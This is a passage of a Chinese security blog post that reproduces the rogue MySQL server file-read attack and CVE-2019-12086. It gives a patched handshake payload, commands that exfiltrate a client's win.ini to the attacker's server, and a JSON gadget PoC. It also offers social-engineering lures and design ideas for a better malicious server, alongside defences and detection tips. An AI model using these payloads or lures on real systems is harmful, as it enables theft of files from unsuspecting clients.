            1... .... .... .... = Can do 4.1 authentication: Set
        Server Language: latin1 COLLATE latin1_swedish_ci (8)
        Server Status: 0x0002
            .... .... .... ...0 = In transaction: Not set
            .... .... .... ..1. = AUTO_COMMIT: Set
            .... .... .... .0.. = More results: Not set
            .... .... .... 0... = Multi query - more resultsets: Not set
            .... .... ...0 .... = Bad index used: Not set
            .... .... ..0. .... = No index used: Not set
            .... .... .0.. .... = Cursor exists: Not set
            .... .... 0... .... = Last row sent: Not set
            .... ...0 .... .... = database dropped: Not set
            .... ..0. .... .... = No backslash escapes: Not set
            .... .0.. .... .... = Session state changed: Not set
            .... 0... .... .... = Query was slow: Not set
            ...0 .... .... .... = PS Out Params: Not set
        Extended Server Capabilities: 0x0000
            .... .... .... ...0 = Multiple statements: Not set
            .... .... .... ..0. = Multiple results: Not set
            .... .... .... .0.. = PS Multiple results: Not set
            .... .... .... 0... = Plugin Auth: Not set
            .... .... ...0 .... = Connect attrs: Not set
            .... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
            .... .... .0.. .... = Client can handle expired passwords: Not set
            .... .... 0... .... = Session variable tracking: Not set
            .... ...0 .... .... = Deprecate EOF: Not set
            0000 000. .... .... = Unused: 0x00
        Authentication Plugin Length: 0
        Unused: 00000000000000000000
        Salt: evil2222

0030                    41 00 00 00 0a 33 2e 30 2e 30         A....3.0.0
0040  2d 45 76 69 6c 5f 4d 79 73 71 6c 5f 53 65 72 76   -Evil_Mysql_Serv
0050  65 72 00 36 00 00 00 65 76 69 6c 73 61 6c 74 00   er.6...evilsalt.
0060  df f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00   ................
0070  00 00 65 76 69 6c 32 32 32 32 00                  ..evil2222.
--------------------------------------------------------------------------

如果用CVE-2019-12086的PoC测试,可能得到错误提示:

com.mysql.cj.exceptions.UnableToConnectException: CLIENT_PLUGIN_AUTH is required

MySQL Client收到上面这个”Server Greeting”之后判定其格式非法,主动关闭了TCP连接。最初尝试复现CVE-2019-12086失败,并未抓包细究,后来才发现这茬。

Gifts提供的”Server Greeting”如下:

--------------------------------------------------------------------------
'\x0a',                         # Protocol
'3.0.0-Evil_Mysql_Server' + '\0',
                                # Version
'\x36\x00\x00\x00',             # Thread ID
'evilsalt' + '\0',              # Salt
'\xdf\xf7',                     # Capabilities
'\x08',                         # Collation
'\x02\x00',                     # Server Status
'\0' * 13,                      # Unknown
'evil2222' + '\0'
--------------------------------------------------------------------------

从注释看,应该是抓”5.1.66-0+squeeze1″版的通信报文后修改而得。这个太老了,已不适用较新的MySQL Client,需要将”Server Greeting”修改如下:

--------------------------------------------------------------------------
'\x0a',                         # Protocol: 10
'any' + '\0',                   # Version: any
'\x05\x00\x00\x00',             # Thread ID: 5
'A' * 8 + '\0',                 # Salt
'\xdf\xf7',                     # Capabilities
'\x08',                         # Server Language: latin1 COLLATE latin1_swedish_ci (8)
'\x02\x00',                     # Server Status: 0x0002
'\x08\x00',                     # Extended Server Capabilities: only one bit is necessary
'\x15',                         # Authentication Plugin Length: 21
'\0' * 10,                      # Unused: 00000000000000000000
'B' * 12 + '\0',                # Salt
'mysql_native_password' + '\0', # Authentication Plugin: mysql_native_password
--------------------------------------------------------------------------

Gifts的第二个Salt是8+1=9字节,对于较新的MySQL Client,该字段必须是12+1=13字节。此外必须让”Extended Server Capabilities”中如下位置位:

.... .... .... 1... = Plugin Auth: Set

修改后的”Server Greeting”

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      4 129   MySQL    192.168.65.23         192.168.65.1          3306   61351  Server Greeting proto=10 version=any

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 61351, Seq: 1, Ack: 1, Len: 75
MySQL Protocol
    Packet Length: 71
    Packet Number: 0
    Server Greeting
        Protocol: 10
        Version: any
        Thread ID: 5
        Salt: AAAAAAAA
        Server Capabilities: 0xf7df
            .... .... .... ...1 = Long Password: Set
            .... .... .... ..1. = Found Rows: Set
            .... .... .... .1.. = Long Column Flags: Set
            .... .... .... 1... = Connect With Database: Set
            .... .... ...1 .... = Don't Allow database.table.column: Set
            .... .... ..0. .... = Can use compression protocol: Not set
            .... .... .1.. .... = ODBC Client: Set
            .... .... 1... .... = Can Use LOAD DATA LOCAL: Set
            .... ...1 .... .... = Ignore Spaces before '(': Set
            .... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
            .... .1.. .... .... = Interactive Client: Set
            .... 0... .... .... = Switch to SSL after handshake: Not set
            ...1 .... .... .... = Ignore sigpipes: Set
            ..1. .... .... .... = Knows about transactions: Set
            .1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
            1... .... .... .... = Can do 4.1 authentication: Set
        Server Language: latin1 COLLATE latin1_swedish_ci (8)
        Server Status: 0x0002
            .... .... .... ...0 = In transaction: Not set
            .... .... .... ..1. = AUTO_COMMIT: Set
            .... .... .... .0.. = More results: Not set
            .... .... .... 0... = Multi query - more resultsets: Not set
            .... .... ...0 .... = Bad index used: Not set
            .... .... ..0. .... = No index used: Not set
            .... .... .0.. .... = Cursor exists: Not set
            .... .... 0... .... = Last row sent: Not set
            .... ...0 .... .... = database dropped: Not set
            .... ..0. .... .... = No backslash escapes: Not set
            .... .0.. .... .... = Session state changed: Not set
            .... 0... .... .... = Query was slow: Not set
            ...0 .... .... .... = PS Out Params: Not set
        Extended Server Capabilities: 0x0008
            .... .... .... ...0 = Multiple statements: Not set
            .... .... .... ..0. = Multiple results: Not set
            .... .... .... .0.. = PS Multiple results: Not set
            .... .... .... 1... = Plugin Auth: Set
            .... .... ...0 .... = Connect attrs: Not set
            .... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
            .... .... .0.. .... = Client can handle expired passwords: Not set
            .... .... 0... .... = Session variable tracking: Not set
            .... ...0 .... .... = Deprecate EOF: Not set
            0000 000. .... .... = Unused: 0x00
        Authentication Plugin Length: 21
        Unused: 00000000000000000000
        Salt: BBBBBBBBBBBB
        Authentication Plugin: mysql_native_password

0030                    47 00 00 00 0a 61 6e 79 00 05         G....any..
0040  00 00 00 41 41 41 41 41 41 41 41 00 df f7 08 02   ...AAAAAAAA.....
0050  00 08 00 15 00 00 00 00 00 00 00 00 00 00 42 42   ..............BB
0060  42 42 42 42 42 42 42 42 42 42 00 6d 79 73 71 6c   BBBBBBBBBB.mysql
0070  5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64   _native_password
0080  00                                                .
--------------------------------------------------------------------------

rogue_mysql_server_allyshka.py

相比Gifts版,allyshka版修改了三处:

  1. 将log.setLevel(logging.DEBUG)改成logging.INFO
  2. 修改”Server Greeting”
  3. 注释掉对daemonize()的调用

真正起作用的是第2项修改。

rogue_mysql_server_jas502n.py

相比allyshka版,jas502n版修改了一处:

  • 通过命令行参数指定待获取的文件

漏洞复现

在Linux上:

$ python2 rogue_mysql_server_jas502n.py "c:\windows\win.ini"

$ tail -f mysql.log

在Windows上:

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile

提示输入口令时直接回车,恶意MySQL Server对任意user:pass都响应以成功登录;然后MySQL Client主动向恶意MySQL Server发送win.ini,无需其他交互。若无”–enable-local-infile”,MySQL Client不会主动上传文件,说明这个版本的MySQL Client默认禁止”–enable-local-infile”。

MySQL Client允许”–enable-local-infile”体现在”Login Request”的”Client Capabilities”中:

.... .... 1... .... = Can Use LOAD DATA LOCAL: Set

$ mysql.exe -h 192.168.65.23 -u root -p

观察此时”Login Request”的”Client Capabilities”:

.... .... 0... .... = Can Use LOAD DATA LOCAL: Not set

该位复位表示MySQL Client禁止”–enable-local-infile”,这种情况下无法复现漏洞,mysql.exe收到”Response TABULAR”后不会进一步发送响应报文。

CVE-2019-12086

PoC

--------------------------------------------------------------------------
{
    ...,
    "some":
    [
        "com.mysql.cj.jdbc.admin.MiniAdmin",
        "jdbc:mysql://192.168.65.23:3306/any"
    ]
}
--------------------------------------------------------------------------

MySQL Connector/J 8.0.14产生的”Login Request”

下面是mysql-connector-java-8.0.14.jar产生的报文:

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      5 118   MySQL    192.168.65.1          192.168.65.23         33932  3306   Login Request user= db=any

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 33932, Dst Port: 3306, Seq: 1, Ack: 76, Len: 64
MySQL Protocol
    Packet Length: 60
    Packet Number: 1
    Login Request
        Client Capabilities: 0xa28f
            .... .... .... ...1 = Long Password: Set
            .... .... .... ..1. = Found Rows: Set
            .... .... .... .1.. = Long Column Flags: Set
            .... .... .... 1... = Connect With Database: Set
            .... .... ...0 .... = Don't Allow database.table.column: Not set
            .... .... ..0. .... = Can use compression protocol: Not set
            .... .... .0.. .... = ODBC Client: Not set
            .... .... 1... .... = Can Use LOAD DATA LOCAL: Set
            .... ...0 .... .... = Ignore Spaces before '(': Not set
            .... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
            .... .0.. .... .... = Interactive Client: Not set
            .... 0... .... .... = Switch to SSL after handshake: Not set
            ...0 .... .... .... = Ignore sigpipes: Not set
            ..1. .... .... .... = Knows about transactions: Set
            .0.. .... .... .... = Speaks 4.1 protocol (old flag): Not set
            1... .... .... .... = Can do 4.1 authentication: Set
        Extended Client Capabilities: 0x000e
            .... .... .... ...0 = Multiple statements: Not set
            .... .... .... ..1. = Multiple results: Set
            .... .... .... .1.. = PS Multiple results: Set
            .... .... .... 1... = Plugin Auth: Set
            .... .... ...0 .... = Connect attrs: Not set
            .... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
            .... .... .0.. .... = Client can handle expired passwords: Not set
            .... .... 0... .... = Session variable tracking: Not set
            .... ...0 .... .... = Deprecate EOF: Not set
            0000 000. .... .... = Unused: 0x00
        MAX Packet: 16777215
        Charset: utf8 COLLATE utf8_general_ci (33)
        Username:
        Schema: any
        Client Auth Plugin: mysql_native_password

0030                    3c 00 00 01 8f a2 0e 00 ff ff   .../..<.........
0040  ff 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00   ..!.............
0050  00 00 00 00 00 00 00 00 00 00 00 00 61 6e 79 00   ............any.
0060  6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73   mysql_native_pas
0070  73 77 6f 72 64 00                                 sword.
--------------------------------------------------------------------------

“Client Capabilities”中的”Can Use LOAD DATA LOCAL”默认置位。

MySQL Connector/J 8.0.14产生的初始查询

mysql.exe的初始查询是”select @@version_comment limit 1″,mysql-connector-java-8.0.14.jar的初始查询不一样。

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      8 159   MySQL    192.168.65.1          192.168.65.23         7357   3306   Request Query

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 7357, Dst Port: 3306, Seq: 65, Ack: 87, Len: 105
MySQL Protocol
    Packet Length: 101
    Packet Number: 0
    Request Command Query
        Command: Query (3)
        Statement: /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SHOW VARIABLES

0030                    65 00 00 00 03 2f 2a 20 6d 79         e..../* my
0040  73 71 6c 2d 63 6f 6e 6e 65 63 74 6f 72 2d 6a 61   sql-connector-ja
0050  76 61 2d 38 2e 30 2e 31 34 20 28 52 65 76 69 73   va-8.0.14 (Revis
0060  69 6f 6e 3a 20 33 36 35 33 34 66 61 32 37 33 62   ion: 36534fa273b
0070  34 64 37 38 32 34 61 38 36 36 38 63 61 36 38 35   4d7824a8668ca685
0080  34 36 35 63 66 38 65 61 65 61 64 64 39 29 20 2a   465cf8eaeadd9) *
0090  2f 53 48 4f 57 20 56 41 52 49 41 42 4c 45 53      /SHOW VARIABLES
--------------------------------------------------------------------------

MySQL Connector/J 8.0.14自动发起的查询

如果恶意MySQL Server的状态机实现得够鲁棒,会发现mysql-connector-java-8.0.14.jar自动发送4次”Request Query”:

/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT  @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_write_timeout AS net_write_timeout, @@query_cache_size AS query_cache_size, @@query_cache_type AS query_cache_type, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@tx_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout
SET NAMES latin1
SET autocommit=1
SET sql_mode='STRICT_TRANS_TABLES'

发出”SET NAMES latin1″后,未对”Response TABULAR”产生动作。而其他3次”Request Query”均对”Response TABULAR”产生动作,也就是上传了3次文件。

MySQL Connector/J 8.0.15的修补方案

参[4]

检查com.mysql.cj.conf.PropertyDefinitions,其中有一句:

--------------------------------------------------------------------------
/*
 * mysql-connector-java-8.0.15-sources.jar
 */
new BooleanPropertyDefinition(PropertyKey.allowLoadLocalInfile, DEFAULT_VALUE_FALSE, RUNTIME_MODIFIABLE,
        Messages.getString("ConnectionProperties.loadDataLocal"), "3.0.3", CATEGORY_SECURITY, Integer.MAX_VALUE),
--------------------------------------------------------------------------
/*
 * JD-GUI
 */
new BooleanPropertyDefinition(PropertyKey.allowLoadLocalInfile, Boolean.valueOf(false), true, Messages.getString("ConnectionProperties.loadDataLocal"), "3.0.3", CATEGORY_SECURITY, Integer.MAX_VALUE)
--------------------------------------------------------------------------

8.0.14中allowLoadLocalInfile默认为true,8.0.15中该值默认为false,相当于没有指定”–enable-local-infile”。

抓包观察8.0.15登录认证报文的”Client Capabilities”,会看到:

.... .... 0... .... = Can Use LOAD DATA LOCAL: Not set

防御措施

参[5],官方给的安全建议。

rogue_mysql_server.py不支持SSL,如果MySQL Client强制启用SSL,中招可能性降低。不排除新的恶意MySQL Server出现,不要依赖这点进行防御。

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile --ssl-mode=REQUIRED
ERROR 2026 (HY000): SSL connection error: SSL is required but the server doesn't support it

MySQL Client指定”–ssl-mode=REQUIRED”后,如果”Server Greeting”中
“Server Capabilities”字段没有启用SSL,MySQL Client报错退出。

这是个协议设计层面的安全漏洞,MySQL Client发出”Request Query”,如果不是”LOAD DATA LOCAL INFILE”,就不应该对”Response TABULAR”产生动作,状态机太不严谨。现状是只要MySQL Client发出”Request Query”,就会对”Response TABULAR”产生动作。至今没有从状态机层面修补漏洞,而是缺省禁止上传文件,这算什么修补?

杂项

蜜罐

这个很好理解,在蜜罐中布署恶意MySQL Server,等待对3306/TCP的扫描尝试。万一扫描器使用了存在漏洞的MySQL Client封装,就会被蜜罐反向捕捉敏感信息。

通过社会工程学诱使他人前来访问恶意MySQL Server也是一种选择,在github上故意泄露恶意MySQL Server的user:pass,在论坛发布渗透测试的文章,等等。

网上公开的源自Gifts的恶意MySQL Server,其状态机过于简陋,鲁棒性、兼容性、功能性均属于PoC级别。提供一些设计思路供参考:

  1. 实现鲁棒性较强的状态机,兼容不同MySQL Client行为
  2. 直接将捕获的客户端文件保存成单个文件,文件名以客户端IP结尾,便于区分
  3. 支持二进制文件上传
  4. 支持上百MB大文件上传
  5. 尽可能捕获客户端信息,捕捉登录请求、查询语句、退出命令等
  6. 支持向日志文件输出Console日志
  7. 支持可控daemon化
  8. 命令行指定待捕获的客户端文件
  9. 允许命令行指定侦听的IP、PORT
  10. 允许命令行指定banner
  11. 考虑消耗内存、消耗硬盘等DoS攻击

扫描恶意MySQL Server

100%有人在公网布署恶意MySQL Server,其不可避免地会被扫描识别出来。提供一些设计思路供参考:

  1. 检查”Server Greeting”是否可疑,比如是否禁用SSL、允许上传文件
  2. 检查”Login Response”是否可疑,比如明显不正确的user:pass直接登录成功
  3. 检查普通”Request Query”是否也收到”Response TABULAR”,显示文件名信息

这个扫描过程务必自己用socket编程实现,不要调用现成的MySQL Client封装,以免被反搞。

参考资源

[1] MySQL connect file read – [2016-04-20]
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

[2] Read MySQL Client’s File – [2018-09-06]
https://lightless.me/archives/read-mysql-client-file.html

[3] https://github.com/Gifts/Rogue-MySql-Server
(2013版本,已不适用较新的MySQL Client,需要修改)

https://github.com/allyshka/Rogue-MySql-Server
(这是修改过的可用版本)

https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
(这是另一个修改过的可用版本)

[4] http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.14/mysql-connector-java-8.0.14.jar
http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.15/mysql-connector-java-8.0.15.jar
http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.15/mysql-connector-java-8.0.15-sources.jar

[5] Security Issues with LOAD DATA LOCAL
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
(官方给的安全建议)

Spread the word. Share this post!

Meet The Author

C/ASM程序员

Leave Comment